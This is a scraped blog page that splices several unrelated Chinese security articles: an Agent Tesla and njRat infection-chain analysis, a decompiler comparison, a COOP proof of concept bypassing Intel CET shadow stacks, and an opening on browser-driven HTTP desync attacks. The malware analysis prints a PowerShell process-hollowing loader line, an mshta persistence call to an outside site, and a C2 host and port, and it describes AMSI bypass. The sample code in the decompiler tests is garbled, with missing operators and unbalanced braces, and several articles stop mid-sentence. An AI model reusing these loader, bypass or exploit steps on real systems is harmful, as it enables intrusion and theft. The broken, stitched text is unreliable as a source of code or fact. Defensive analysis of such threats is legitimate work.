Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863112541

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

研究人員最近發現了一些惡意的Microsoft Office文件,這些文件試圖利用合法網站MediaFire和Blogger執行shell腳本,然後釋放Agent Tesla和njRat的兩個惡意變體。 Agent Tesla是一款著名的監視軟件,首次發現於2014年,它可以從web瀏覽器、郵件客戶端和FTP服務器中竊取個人數據,收集屏幕截圖和視頻,並收集剪貼板數據。 njRat(也稱為Bladabindi)是2013年首次發現的遠程代理木馬,能夠遠程控制受害者的設備,記錄擊鍵、訪問攝像頭、竊取瀏覽器中存儲的憑據、上傳/下載文件、操作註冊表等。

马云惹不起马云受影響的平台:Microsoft Windows

马云惹不起马云受影響方:Windows用戶

马云惹不起马云影響:控制和收集受害者設備中的敏感信息

马云惹不起马云 嚴重級別:嚴重

在本文中,我們將詳細介紹我們發現的文件、它們用於傳播有效負載的嵌入腳本,以及這些惡意軟件變體的行為。

第1階段在2022年9月,研究人員發現了兩種文件。一個是PowerPoint加載項,另一個是包含誘餌圖片和嵌入Excel表單的Word文件。這兩個文件都包含類似的VBA腳本,在打開文件後立即執行宏。

1.png

根據PPT插件中的VBA腳本(如上圖所示),代碼會自動觸發,因為它使用了“Auto_Open()”函數。其“ControlTipText”和“Tag”字段包含完整的命令“mshta”和MediaFire URL。我們可以在“vbaProject.bin”中看到完整的URL。

2.png

PPT加載項中的VBA宏

3.png

vbaProject.bin文件中完整的惡意URL

第2階段從下圖所示的Process Explorer中可以看到,“mshta”進程在點擊文件中的“Enable Macros”後立即啟動。這導致了MediaFire網站,這是一個合法的文件和圖片共享平台。

4.png

點擊“Enable Macros”後的Process Explorer

以下是第一階段VBA宏中“1.htm”的內容:

5.png

從MediaFire下載的“1.htm”

下圖顯示了將一些十六進製字符串轉換為ascii字符串後的更清晰的圖片。

6.png

轉換後的“1.htm”

這個HTML文件有三個主要任務:

1.從MediaFire網站傳送第三階段腳本文件;

2.終止任務WINWORD.EXE;

3.通過創建計劃任務添加持久性。它使用“mshta”連接到“http[:]//www.webclientservices.co[.]uk/p/1[.]html”網站,該網站每73分鐘包含一個類似的腳本。以下是2022年9月的博客截圖:

7.png

9月中旬www[.webclientservices[.co[.uk/p/1[.html]網頁

研究人員還發現,“www[.]webclientservices[.]co[.]uk”中的1.html文件已更新並重命名為“real all BACK SEP 2022”。嵌入式JavaScript也被修改了,現在可以發布其他惡意軟件。

8.png

9月底發現的www[.]webclientservices[.]co[.]uk/p/1[.]html更新頁面

第3階段“1.txt”中的PowerShell腳本是從MediaFire下載的,它通過進程空心化技術提供最終有效負載。它首先終止所有相關進程,並對加載程序和有效負載進行解碼。然後它調用最終有效載荷並部署它,繞過AMSI。主要惡意軟件和部分代碼被編碼並替換為字符串,以增加分析的難度。

9.png

用於加載代理特斯拉的PowerShell的全圖

10.png

執行PowerShell後的Process Explorer

在“Load Agent Tesla Payload”過程的第二部分中,變量$CLE11和$RNBX1是更換一些字符串後的最終有效負載和加載器。基於.NET的不同版本,它自定義了繼續進行進程空心化活動的路徑:

$Path='C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe'

$Path2='C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe'

$Path3='C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe

[Ref]/Assembly:Load((HexaToByte($RNBX1))).GetType('CALC'.PAYSIAS'.'GetMethod'(Execute).Invoke($null,[object[]] ($Path, HexaToByte($CLE11)));

研究人員將$RNBX1保存為可執行文件,並用dnSpy打開它。目標類和方法如下圖所示。此.Net加載器利用一些模糊處理來隱藏主要API(CreateProcess、VirtualAllocEx…等)。

11.png

Net Loader

研究人員找到了目標進程“jsc.ex”、“caspol.exe”和“Msbuild.exe”,它們在受害者的設備中安靜運行。詳細信息如下圖所示。

12.png

流程空心化時的Process Explorer

在PowerShell部分的末尾,它禁用了日誌記錄,並通過打補丁繞過AMSI。詳細步驟如下所示。

13.png

繞過PowerShell中的AMSI

最後階段(第一部分)第一個惡意軟件負載是Agent Tesla。這種變體在9月中旬開始傳播。它包括合法的文件信息,“NirSoft”公司的“Web瀏覽器密碼查看器”,並使用FTP發送被盜數據。

14.png

Agent Tesla的基本信息

下圖是用於傳輸提取數據的攻擊者FTP服務器信息的屏幕截圖,包括用戶名和密碼。此變體還將自身複製到%appdata%目錄中,文件名為“NGCwje.exe”以進行持久化。

15.png

攻擊者的服務器信息

然後,它開始提取受害者設備的信息,例如基板的序列號、處理器ID和MAC地址。然後,它為該數據生成一個MD5哈希。

16.png

為受害設備的信息生成Md5哈希

Agent Tesla使用一個典型的應用程序列表來竊取登錄憑據、Cookie、郵件信息和VPN數據。這些項目的一部分如下圖所示:

17.png

目標瀏覽器應用程序列表

一旦惡意軟件從受害者的設備檢索到憑證和其他信息,它通過使用硬編碼IP的FTP協議發送這些數據。

18.png

使用FTP協議

19.png

從受害者設備捕獲的流量

根據遇到的不同類型的文件,它使用四種打開字符串:“CO”表示cookie數據,“KL”表示鍵盤記錄,“PW”表示受害者的密碼信息,“SC”表示屏幕截圖文件。惡意軟件使用下劃線將數據類型、用戶名、設備名稱和時間戳連接在一起,作為數據ZIP文件的文件名。被盜zip文件列表如下所示:

20.png

FTP服務器上Zip文件的部分列表

最後階段(第二部分)第二個有效載荷是njRat,也稱為Bladabindi。它是一個.NET特洛伊木馬,用於控制和監控受害者的設備。此變體對其字符串生成和代碼流使用模糊處理。從方法ko()的IDA圖形概覽中,你可以看到這個變體更複雜,但你仍然可以識別類似的函數。

21.png

IDA圖概述

22.png

njRat的入口點

23.png

字符串解碼功能

首先,它在“Startup”和“Templates”文件夾中創建lnk和exe文件,文件名為“Windows”。這個名字用來欺騙用戶和分析師,讓他們認為它是合法的Windows文件。

24.png

創建持久性

然後,它以相反的順序獲取命令和控制服務器主機名和端口號。

25.png

命令和控制服務器信息

為了確保此惡意軟件只在此受害者上運行一次,它添加了名為“di”、數據為“!”的“HKEY_CURRENT_USER”。

26.png

添加到“HKEY_CURRENT_USER”中的註冊表

27.png

註冊表狀態

它還創建了一個帶有字符串“Windows”的互斥鎖,將環境變量“SEE_MASK_NOZONECHECKS”設置為1,並檢查此互斥鎖是否以前創建過。如果是,則結束該過程。

28.png

創建互斥鎖

29.png

設置環境變量

如下圖所示,收集設備信息後,它使用base64對其進行編碼並連接數據。然後,它使用硬編碼的TCP端口7575將數據傳輸到服務器“mobnew6565[.]duckdns[.]org”。

30.png

連接數據

以下是Win10受害者設備的C2流量。分隔符更改為“|-F-|”,版本為“v4.0”,但數據包的格式類似於舊的njRat版本:

31.png

從受害者處捕獲的流量

除了Agent Tesla和njRat,研究人員還在更新的HTML文件“www.webclientservices.co[.]uk/p/1[.]HTML”中找到了一個簡短的腳本,該文件將挖礦軟件下載到“C:\\ProgramData”。這是一種奇怪的行為,因為此攻擊鏈中的每個步驟都試圖在受害者的設備上不留下任何物理跟踪或文件。研究人員認為這可能會分散受害者的注意力,以免他們注意到另一個進程正在加載njRat。

32.png

下載挖礦軟件的JavaScript

33.png

njRat和miner的Process Explorer視圖

總結Agent Tesla和njRat多年來都是高度活躍的惡意軟件。它們的功能成熟,易於用於監視或竊取信息。如上所述,惡意URL不斷更新其嵌入的JavaScript,這意味著這些釣魚電子郵件和誘騙辦公室文件始終是傳播此惡意軟件的有效方式。網站中嵌入的所有VBA宏、PowerShell和JavaScript代碼都可以部署無文件攻擊,也可以通過混淆或編碼字符串來逃避一些病毒檢測。

用戶應始終警惕任何包含外部網站鏈接的辦公室文件或未知文件。

34.png

攻擊流程

前言本次測試對比是為了呈現incinerator與PNFSofteware出品的JEB以及國內出品GDA在Android逆向工程能力的對比,從而讓大家更好更直觀的了解相關的詳細信息

本次測試對比的產品信息如下:

Incinerator: 1.0.0

JEB:3.19.1.202005071620

GDA:3.9.0

注:文章編寫日期與發佈時間有一定時間間隔,所以以下內容並不代表各產品的後續性能指標。

反編譯器對循環結構的還原能力測試Test1第一個測試中,設計了循環頭和鎖節點都為二路條件循環結構,為了測試循環結構化分析能力,多嵌套了幾個if語句(代碼標號為基本塊號)。程序簡單如下:

publicvoidtest1(inty,inta){

while(y0){

if(a10){

if(a100){

a=a*5;

break;

}else{

y=y/a;

}

}

}

}

}

流程图.png

編寫testdemo將代碼段生成apk後,並分別使用JEB、GDA、Incinerator來進行反編譯操作,從而進行代碼可讀性和語義準確性上的對比,如下圖所示:

95f762e41272c0aa3a7fe3914c2bdf56

test1

通過上述對比可以看出在語義準確性上,JEB發生了語義錯誤,在a 100時,丟失了a *=5的代碼塊,Incinerator與GDA保持了語義的準確性。

在代碼可讀性上,三者相差不大可讀性都很好。 Incinerator在if-else上做了相應的優化,可讀性略有提升。

在代碼還原度上,Incinerator做了對應優化,GDA重複聲明了a、y變量,其他方面最為接近源碼。而JEB存在代碼塊丟失。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator高高JEB×高中GDA高高Test2接下來看看他們對雙層循環的結構化分析的能力,設計一個雙層循環,在內層循環break出外層循環,實際上基本塊5即if(a 10),不僅會是內存循環的鎖節點,也會是外層循環的鎖節點。並且該鎖節點為二路條件節點,其一個分支路徑回到內層循環,另外一個分支結構回到外層循環。一般對循環結構算法都是循環頭-鎖節點一一對應,因此處理過程中可能會復雜化該類結構。代碼實現非常簡單如下:

publicvoidtest2(inty,inta){

while(y0){

while(a0){

if(a10){

break;

}

}

}

}

attachBaseContext(this);

}重新編譯apk後,再進行反編譯後,如下圖所示:

f61654c8fad1346041bba769daa7b737

test2

通過上述對比可以看出在語義準確性上,Incinerator、JEB保持了語義的準確性,都識別除了雙重循環,GDA僅有函數聲明,丟失了整個函數的代碼塊。

在代碼可讀性上,Incinerator優化了if-else組合,JEB在if中加入continue省略else語句,兩者可讀性都很好。

在代碼還原度上,Incinerator、JEB除了各自在if-else上的優化,還原度都很高。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator高高JEB高高GDA×低低Test3這一段代碼在退出循環的”if(a10)”語句中內嵌了另外一個if語句,這會導致內層循環的鎖節點發生變化,並且給內層循環添加了一個跟隨節點,另外代碼做了稍稍的改動。如下:

publicvoidtest3(inty,inta){

while(y0){

while(a50){

a=a+1;

y=y+1;

if(a10){

if(a100){

a=a*5;

break;

}else{

y=y/a;

}

}

}

this.attachBaseContext(this);

}

}繼續編譯成apk,再進行反編譯操作,如下圖所示:

8dd35acc6d19712de616aed4a9777f32

test3

通過對比可以看出在語義準確性上,Incinerator、JEB仍然保持了語義的準確性,GDA重複聲明了a、y變量,並且繼續丟失函數內部的代碼塊。

在代碼可讀性上,Incinerator、JEB保持很好的代碼可讀性,JEB使用了continue來分割嵌套的if。

在代碼還原度上,Incinerator最為接近源碼,JEB改為使用continue來分割嵌套的if。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator高高JEB高高GDA×低低Test4在內層循環的第一個if-else結構上添加一個後隨節點,並且最後break出內層循環到外層循環。並且將a=a*5語句後的break改成continue。代碼如下:

publicvoidtest4(inty,inta){

while(y0){

y++;

while(a50){

a=a+1;

y=y+1;

if(a10){

if(a100){

a=a*5;

continue;

}else{

y=y/a;

}

}

y=a*y;

break;

}

this.attachBaseContext(this);

}

}同樣編譯成apk後再反編譯,如下圖所示:

6002ea5b38852a4bf5870e1aee4ad462

test4

通過上述對比可以看出

在語義準確性上,Incinerator在a *=5; 後面丟失了continue,在y *=a; 後面丟失了退出循環的break;JEB保持了語義的正確性;GDA重複聲明變量,也丟失了函數內的代碼塊。

在代碼可讀性上,Incinerator、JEB可讀性都很好。

在代碼還原度上,Incinerator與源碼最為相似,但是丟失了continue、break;JEB使用continue分開了if-else,將else後面的y /=a,與y *=a合併為新的y=y/a * a,並加入break,還原度上有了一定的改變。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator×高中JEB高中GDA×低低Test5這次在“if(a10)”內部加入switch,在a為11、12時,執行“a=a * 5”,並continue返回內循環while,a為13時,執行“a=a * 6”,繼續往下執行,並不退出,a為14時,執行“a=a * 7” 退出switch, 與default中加入if-else,代碼如下:

publicvoidtest5(inty,inta){

while(y0){

y++;

while(a50){

a=a+1;

y=y+1;

if(a10){

switch(a){

case11:

case12:

a=a*5;

continue;

case13:

a=a*6;

case14:

a=a*7;

break;

default:

if(a100){

a=a*5;

continue;

}else{

y=y/a;

}

}

}

y=a*y;

break;

}

this.attachBaseContext(this);

}

}最後編譯成apk後反編譯,如下圖所示:

9423c2d3183b388f644c6fadcfbf5295

test5

通過上述對比可以看出在語義準確性上,Incinerator在switch將a為11、12、default中的continue錯誤表達為break,丟失了y *=a後面退出內循環的break;JEB保持了語義的正確性在,但在label_18的break之後,多了兩句無用的代碼a *=8;continue;GDA沒有識別出內循環,使用if與goto做處理,switch中a為11、12時多了break,沒有識別出a=14,且在default中,執行完y=y/a後繼續執行'a=a * 7'。

在代碼可讀性上,Incinerator識別出雙循環、switch-case可讀性上最好,JEB、GDA多次出現goto,在代碼可讀性上存在一定的影響。

在代碼還原度上,Incinerator與源碼最為相似,但在節點的退出上存在一定的問題,JEB、GDA在代碼的還原度上膨脹比較大。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator×高中JEB中中GDA×中低調試能力測試逆向工程工具針對Apk可調試,對於研究人員來說有著極大的幫助,而對於已經發布後的應用再進行調試的話,可調試的前提條件會比較苛刻,如:設備是否root、調試屬性是否開啟、能否重打包等,這些因素都會影響著是否能夠調試,而影響調試功能的好壞、支持與否,取決於:能否stepover、stepinto、breakpoint,能否獲取/修改變量值等,這些因素都體現著調試器是否好用。所以我們從上述多個維度,對Incinerator、JEB的調試做下簡單對比,但因GDA不支持調試,所以下面的內容無法針對GDA進行測試對比。

這裡直接使用Android Studio自帶的example:Login Activity進行對比,如圖1-2所示:

72a03afc6836285c34d5e3234bf992fc

圖1

e1ecd5a7f6c45018c44dc7ea23ea0b3c

圖2

在登錄驗證的位置做細微修改,讓它基本不可能登錄成功,然後再分別使用JEB、Incinerator進行分析登錄過程,並繞過登錄限制。修改的代碼與登錄失敗,如圖3-4所示:

67e985a816171ca2bfbc7045086c456e

圖3

c686e78245ee860d6f9a03acecbcf3af

圖4

調試設備:Nexus 5X

系統版本:7.1.2

root狀態:已root

主要測試功能:

下斷點

步進

步過

跑至光標

顯示與修改變量值

免debugger屬性調試

smali調試

偽代碼調試

JEB調試首先手動安裝編譯好的apk,然後使用JEB反編譯對應apk,點擊JEB上的start. 如圖5所示:

f59a75d9a167571550761a7f9e0d45c7

圖5

出來Attach界面,因為應用還沒啟動,所以並沒有看到Processes中有進程列表,如圖6所示:

1d6c2a933eae2f3f45a43b8dfbfdaf61

圖6

通過命令(adb shell am start -D -n com.testdemo3/.ui.login.LoginActivity)啟動進程,JEB點擊(Refresh Machines List)刷新列表,看到已經跑起的測試案例,如圖7所示:

a7a1022cd33cdd32a34526e7950dc177

圖7

點擊Attach後,發現無法debug,按提示指app沒有開啟debuggable屬性或者設備沒有root,建議使用模擬器、root設備或者重打包app。 (實際上設備已root),如圖8所示:

14eb8cc4bcc1153f20d81ec3c48e0728

圖8

我們在AndroidManifest中加入android:debuggable='true'並重新編譯(如果是第三方的app只能嘗試用apktool等工具進行重打包,有簽名、完整性等校驗的話再想辦法將其繞過)

現在可以成功Attach上去。

我們使用JEB反編譯登錄界面的activity:LoginActivity,在按鈕的點擊觸發代碼中加入斷點,如圖9所示:

cb7e6b9d77ccdd3d0940a62ccbbe1773

圖9

因不支持在偽代碼中加入斷點,我們切換回smali(快捷鍵Q),在onClick的第一行按Ctrl+B加入斷點,如圖10所示:

2973f6abcb0812c148d737436de4b6d2

圖10

操作app,輸入帳號密碼,點擊:SIGN IN OR REGISTER,在JEB中成功觸發斷點,如圖11所示:

JEB此處有個優勢,它的佈局可以根據個人喜好隨意拖拉

4e5e64f1ce1c439f2938500955500b94

圖11

當前顯示的變量似乎有些異常,我們此時忽略他,鼠標放到00000040 處,點擊JEB的'Run to line',成功跳到指定行,如圖12所示:

5e176b7f9fb8c43f2b0c2a4abbda242f

圖12

JEB一開始將所有變量當作int類型處理,我們分析代碼,可以知道此處的V1、V2是輸入的帳號與密碼,類型是String,因此,我們點擊V1、V2中的Type將int改為String,如圖13所示:

c5573234eacd57bc2809142639d00c88

圖13

v1、v2成功修正類型,對應的值也成功顯示出我們測試輸入的帳號密碼。

在JEB中點擊步進(Step Into)到LoginViewModel的login方法,如圖14所示:

7a36c5e8a7cabc39b6d6a50302369f5b

圖14

成功步進LoginViewModel的login方法,但是在這裡可以看到,剛才修改的類型(此處對應的是p1、p2)又重新變回了int。

根據smali可知道,接下來會調用LoginRepository的login方法,隨後返回Result

我們再繼續點擊兩次步進(Step Into)進入LoginRepository的login方法,如圖15所示:

9d65fb40f8f67ea74cea4507b3dcf0d4

圖15

在此方法中,它會繼續將帳號密碼傳給LoginDataSource的login方法,返回Result

繼續步進(Step Into)兩次,進入LoginDataSource的log

robbery.png

雖然數據執行保護(DEP)旨在阻止來自特定內存區域的純代碼注入攻擊,但道高一尺魔高一丈,攻擊者已經不再注入整個代碼的有效負載了,而是重新利用DEP允許的內存頁面中的多個代碼塊,稱為ROPgadget。這些代碼塊取自目標應用程序中現有的代碼,並鏈接在一起,以形成所需的攻擊者有效負載,或僅按頁禁用DEP,以允許運行現有代碼有效負載。

為了永久阻止ROP攻擊,Intel開發了一種新的硬件強制控制流完整性緩解措施,稱為控制強制技術(CET),大約兩年前首次在Windows系統上發布。

我們會在本文中簡要介紹CFI緩解措施的工作原理,包括CET,以及如何利用Counterfeit Object-Oriented Programming (COOP) 在最新Windows版本上有效繞過Intel CET。

Forward-Edge和Backward-EdgeCFI控制流完整性機制可以分為兩大類:Forward-Edge和Backward-Edge。

與Microsoft CFG4一樣,Forward-EdgeCFI通過使用經過驗證的函數地址來保護間接函數調用。例如,如果我們用ROPgadget地址重寫CALL [rax]指令中解引用的指針,CFG將通過發出異常來阻止我們的攻擊。

相反,像Intel的CET5這樣的Backward-EdgeCFI通過將函數的返回地址與存儲在Shadow Stack上的以前保存的地址版本進行比較來保護函數的返回地址。如果原始返回地址在內存被攻擊期間被重寫了,則地址對照( address comparison)將不可避免地失敗,應用程序將被終止。考慮到基於ROP的攻擊在沒有“CALL”指令的情況下執行“RET”指令,運行線程的堆棧和影子堆棧(shadow stack )值不匹配,因此像CET這樣的Backward-EdgeCFI有效地阻止了這種攻擊技術。

Intel CET旨在通過間接分支跟踪(IBT)通過影子堆棧和COP/JOP緩解ROP攻擊。然而,由於後一種技術尚未在Windows上實現,因此在本文中,我們將把“Intel CET”作為僅啟用影子堆棧的實現。

CET當前的實現方式非常無效,因為渲染器進程通常會被利用。儘管CET在瀏覽器上還沒有得到廣泛的執行,但我們應該期待它在未來的每一個進程中都得到執行。

偽造對象Felix Schuster在2015年提出了一種名為偽面向對象編程(COOP)的新代碼重用技術。不過該技術尚未在野外或公開利用被發現。我們寫這篇博文的目的是試圖利用這種理論方法,並在概念驗證中加以實現,以繞過Intel CET。

該技術背後的主要思想是偽造,即用攻擊者控制的有效負載在內存中生成新的對象,並通過目標應用程序或加載庫中已經存在的虛擬函數將它們鏈接在一起。

偽對像中包含的每個虛擬函數稱為vfgadget,負責執行一個小任務。與ROP類似,vfgadget可以執行諸如將值填充到寄存器中之類的任務。然而,當組合在一起時,多個vfgadget可以執行更高級的操作。

由於目前沒有專門的工具可以發現vfgadget,所以可以通過自定義腳本(如idpython)找到它們,使用類似於ROP gadget發現的過程。

由於vfgadget是從CFG有效函數池中選取的,我們可以將它們標記為合法的,一旦我們劫持了其中一個函數的間接調用,它們的執行就不會被CFG阻止。

此外,一個有趣的推論是Intel CET不會被觸發,因為我們不會在順序調用vfgadget的過程中損壞任何函數返回地址。

一個典型的COOP有效載荷從一個充當COOP主要功能的基本vfgadget開始。我們在本文稱之為Looper。一旦攻擊者在內存中集成了偽造對象,Looper vfgadget就會遍歷由攻擊者精心安排的其他vfgadget數組,這些vfgadget將被逐個調用。通過以這種方式對齊偽對像中的vfgadget,我們將能夠以可控的方式調用有效的虛擬函數。

Looper運行後,它可以調用其他負責執行特定操作的vfgadget,如Argument Loaders Invoker和Collector。這些vfgadget將定期存儲在Looper訪問的數組中。

Argument Loader vfgadget通過將值加載到給定寄存器中來填充該寄存器。要加載的值將存儲在偽對像中,位於假對像開始處的偏移位置。

一旦寄存器被一個或多個參數加載器填充,就可以調用Invoker vfgadget來簡單地執行目標API的函數指針。

Collector是一種gadget,用於檢索寄存器中已存在的值,並將其保存回攻擊者的偽造對象即作為從調用的API返回的值。

下圖總結了迄今為止討論的COOP攻擊策略。

1.png

COOP攻擊流

我們可以根據不同的vfgadget的可用性和想要執行的API來安排和混合它們。

為了更好地理解COOP攻擊,讓我們從分析主vfgadget Looper開始。以下彙編代碼提供了Looper COOP vfgadget的簡化版本:

2.png

Looper Gadget相關的ASM代碼

在第一行中,RCX持有this9指針,我們將偽對象的開頭加載到RBX中,該偽對象位於RCX的偏移量0x40處。由於偽對像中的所有項目都將以偏離此指針的偏移量為準,因此我們需要確保在劫持程序流之前保存其值(即通過破壞vtable)。

然後,COOP有效負載基址被解引用到RAX中,RAX指向被調用的第一個vfgadget。一旦調用返回,一個新的vfgadget將從前一個gadget的偏移量0x20處加載,如果RBX的內容不為零,則會進行新的循環迭代。

當在內存中寫入偽造對象時,我們需要預先對齊每個vfgadget以匹配Looper偏移量,類似於下面的佈局:

3.png

內存中的COOP緩衝區

這樣,00000227`26cd8900是COOP有效負載的基址,它存儲在‘this’指針(RCX)的偏移量0x40處。從前面的代碼清單中,我們注意到在_loopstart例程的第一行,指針被解引用到RAX中,而RAX又指向第一個vfgadget。在下一次循環迭代中,Looper通過在前一個循環的偏移量0x20處加載指針來重複相同的任務,並最終調用第二個vfgadget。

當利用真實的目標瀏覽器時,建議依賴Looper vfgadget,因為它比其他vfgadget提供了更多的控制和穩定性。但是,為了簡潔起見,我們在編寫易受攻擊的應用程序時只使用了一個Invoker vfgadget,它只接受一個參數。

在介紹了COOP的基本理論之後,讓我們繼續開發一個由CET編譯的概念驗證應用程序,該應用程序是我們為展示COOP攻擊而開發的。

與COOP繞過CET影子堆棧我們編寫的易受攻擊的應用程序是用CET和CFG以及默認啟用的DEP編譯的。

首先,為了驗證CET是否真的被強制執行,我們在printf上放置一個斷點,檢查調用堆棧,覆蓋返回地址並恢復執行。

4.png

驗證CET的執行

當收到一個涉及無效返回地址的Shadow Stack異常提示,就代表CET被啟用了。

由於CET是一種硬件強制緩解,為了觸發上述漏洞,我們至少需要一個英特爾虎湖( Tiger Lake )十一代酷睿CPU。

為了模擬瀏覽器漏洞,我們可以利用執行應用程序時自動觸發的應用程序中的類型混淆漏洞來獲得RIP控制。

當我們點擊該漏洞的觸發器時,vtable指針會被我們的輸入損壞,導致我們可以控制的間接調用。然後我們劫持vtable,使其指向第一個(也是唯一一個)vfgadget所在的COOP緩衝區。如上所述,為了簡潔起見,我們沒有使用帶有嵌套vfgadget的Looper,而是選擇使用一個同時具有Invoker和Argument Loader組件的gadget。

作為該漏洞自動利用的一部分,為了獲取vfgadget的‘this’指針,我們洩漏了堆棧指針,並將‘this’指針作為堆棧的靜態偏移量進行檢索。

一旦我們獲得了‘this’指針地址,我們就準備好要調用的WindowsAPI的地址及其參數。這是通過在偽對象內以所需偏移量寫入Windows API地址和參數來實現的。

在更詳細地研究COOP有效負載之前,讓我們先通過不帶任何參數運行PoC來理解它的語法。

5.png

獲取PoC的語法

應用程序接受四個參數:一個指向偽造對象(COOP)緩衝區的指針、vfgadget地址、Windows API地址及其參數。該助手顯示了兩個簡單的用例,但可以將其擴展為調用任何CFG允許的API(如果應用程序是用它編譯的)。

由於Windows DLL將在隨機基址加載,因此需要預先計算所需的API地址。

讓我們首先檢查與vfgadget相關的對象的C++代碼,然後從編譯的二進製文件探索其相應的程序集:

6.png

我們從中派生vfgadget的' trigger '方法

項目中的OffSec類包含一個觸發器方法,它充當一個C風格的函數指針,我們可以使用它來調用任何我們喜歡的API。然後,在主程序例程中實例化“OffSec”類,以便將其與方法一起加載到內存中。

仔細查看反彙編程序中的Invoker可以發現一些有趣的方面。

7.png

調用程序vfgadget

從第二行到第四行,RCX引用的‘this’指針首先存儲在堆棧中,然後移動到RAX中。接下來,從RAX偏移量0x10處的值被解引用並移動到RAX中。此值將是駐留在偽對像中的API函數指針。然後,在第7行和第8行,第一個函數參數從‘this’指針偏移量0x8處解引用,並移到RCX中。

我們很快就會發現,一旦我們從命令行提交了參數,易受攻擊的應用程序就會處理這些偏移。

在介紹了攻擊鏈的主要構建塊之後,讓我們嘗試通過傳遞四個參數來運行PoC,以獲得代碼執行:

8.png

運行帶有所有參數的PoC應用程序

通過上述命令,我們提供了以下參數:00001e000000作為偽對象的存儲緩衝區,5086014001000000作為Invoker vfgadget,40610fecfb7f0000是WinExec內存地址。作為最後一個參數,我們傳遞WinExec字符串參數。請注意,所有內存地址都是以little-endian格式傳遞的。

一旦啟動,應用程序立即停止,允許我們將調試器附加到它。在這樣做之前,我們啟動Process Explorer以驗證二進製文件實際上在啟用Intel CET的情況下運行。

9.png

驗證是否已使用Process Explorer啟用CET

在“堆棧保護”欄下,Process Explorer確認僅對CET兼容模塊強制執行CET,這意味著將對使用CET編譯的任何模塊強制執行緩解。附加調試器後,我們將斷點放置到主函數中唯一的間接調用,然後繼續執行。

10.png

間接調用時中斷

我們在main+0x3d2處放置了一個斷點,並驗證了在該地址確實有一個間接調用。接下來,我們將轉儲位於靜態地址0x1e0000的偽造對象的內容,該地址包含指向位於0000000 1400186a0的vfgadget的指針。

在main+0x3d2是類型混淆錯誤引發的地方,允許我們控制RIP。一旦到達斷點,我們就檢查駐留在COOP緩衝區中的值,它應該是第一個Invoker vfgadget。我們讓應用程序繼續運行,並驗證我們確實達到了斷點。

11.png

登錄第一個COOP vfgadget

在跟踪到CFG ldrpdispatchusercalltarget例程之後,我們跳轉到Invoker vfgadget ' OffSec:trigger ',證明我們已經控制了程序的執行流。然後我們繼續在vfgadget中進行跟踪:

12.png

將‘this’ 指針移動到RAX中

在上面的清單中,Invoker首先將‘this’指針從RCX保存到堆棧中,我們還驗證它是否指向COOP緩衝區的底部。在最後一條指令中,‘this’ 指針被加載到RAX中,RAX將用作調用API及其參數的引用:

13.png

通過‘this’ 指針加載WinExec參數

首先,在偏移量0x10處,我們可以看到WinExec地址被加載到RAX中,然後,在三條指令之後,命令參數被檢索到偏移量0x8處。

如果執行繼續,我們將再次調用LdrpDispatchUserCallTarget,它依次將執行分派給WinExec。

14.png

成功調用WinExec

這就完成了我們的簡單概念證明,我們介紹了通過調用CFG允許的函數,同時避免損壞任何返回地址,可以繞過Intel CET Shadow Stack並通過COOP攻擊獲得任意代碼執行。

此PoC應用程序的Visual Studio項目可以在這個URL中找到。

總結Intel CET提供了另一種強大的防禦機制,儘管如此,攻擊者可以採用新的攻擊途徑,如COOP來繞過這種緩解措施。

60a7-article-browser-powered_desync_attacks_article.jpg

我將在本文介紹如何將受害者的Web 瀏覽器變成一個異步的傳播平台,通過暴露一個獨立的服務器網站和內部網絡來轉移請求走私的邊界。你將學習如何將跨域請求與服務器漏洞相結合,以攻擊瀏覽器連接池、安裝後門,並釋放異步攻擊。使用這些技術,我將攻擊包括Apache、Akamai、Varnish、Amazon 和多個Web VPN 在內的目標。

接下來我將分享一種結合瀏覽器特點和自定義開源工具的方法。除此之外,我還將介紹一種黑盒分析策略,該策略解決了長期存在的異步障礙,並揭示了一種極其有效的新穎異步觸發器。由此產生的後果將包括客戶端、服務器端甚至MITM 攻擊。最後,我將介紹修改HTTPS 以在Apache 上觸發MITM 驅動的異步。

本文使用的術語“瀏覽器驅動的異步攻擊”表示可以通過Web 瀏覽器觸發的所有異步攻擊。這包括所有客戶端異步攻擊,以及一些服務器端攻擊。

本文的示例都是取材於真實網站。本文中引用的所有漏洞均已報告給相關供應商,並已修補,除非另有說明。

連接狀態攻擊如果你沒有嘗試請求走私攻擊,很容易忘記HTTP 連接重用並將HTTP 請求視為獨立對象。畢竟,HTTP 應該是無狀態的。然而,下面的層(通常是TLS)只是一個字節流,很容易找到實現不佳的HTTP 服務器,假設通過單個連接發送的多個請求必須共享某些屬性。

在野外看到的主要漏洞是服務器假設通過給定TLS 連接發送的每個HTTP/1.1 請求都必須具有相同的預期目標和HTTP Host 標頭。由於網絡瀏覽器符合這個假設,所以在有人使用Burp Suite 之前一切都會正常工作。

我發現了兩個不同的場景,這個漏洞均造成了很大的安全後果。

第一個請求驗證反向代理通常使用Host 標頭來識別將每個請求路由到哪個後端服務器,並有一個允許人們訪問的主機白名單:

1.png

但是,我發現一些代理只對通過給定連接發送的第一個請求應用此白名單。這意味著攻擊者可以通過向允許的目的地發出一個請求來訪問內部網站,然後通過相同的連接向內部網站發出一個請求:

2.png

幸運的是,這種漏洞非常罕見。

第一個請求路由第一個請求路由是一個密切相關的漏洞,發生在前端使用第一個請求的Host 標頭來決定將請求路由到哪個後端,然後將來自同一客戶端連接的所有後續請求路由到同一後端連接。

這本身不是一個漏洞,但它使攻擊者能夠使用任意Host 標頭攻擊任何後端,因此它可以與Host 標頭攻擊鏈接在一起,例如密碼重置攻擊、Web 緩存攻擊以及獲得對其他虛擬主機的訪問權限。

在此示例中,我們希望使用“psres.net”的攻擊主機標頭攻擊example.com 的後端,以進行密碼重置攻擊,但前端不會路由我們的請求:

3.png

然而,通過對目標網站的有效請求開始我們的請求序列,我們可以成功到達後端:

4.png

希望能給受害者發一封帶有釣魚鏈接的郵件:

5.png

你可以使用HTTP Request 走私中的“連接狀態探測”選項掃描這兩個漏洞。

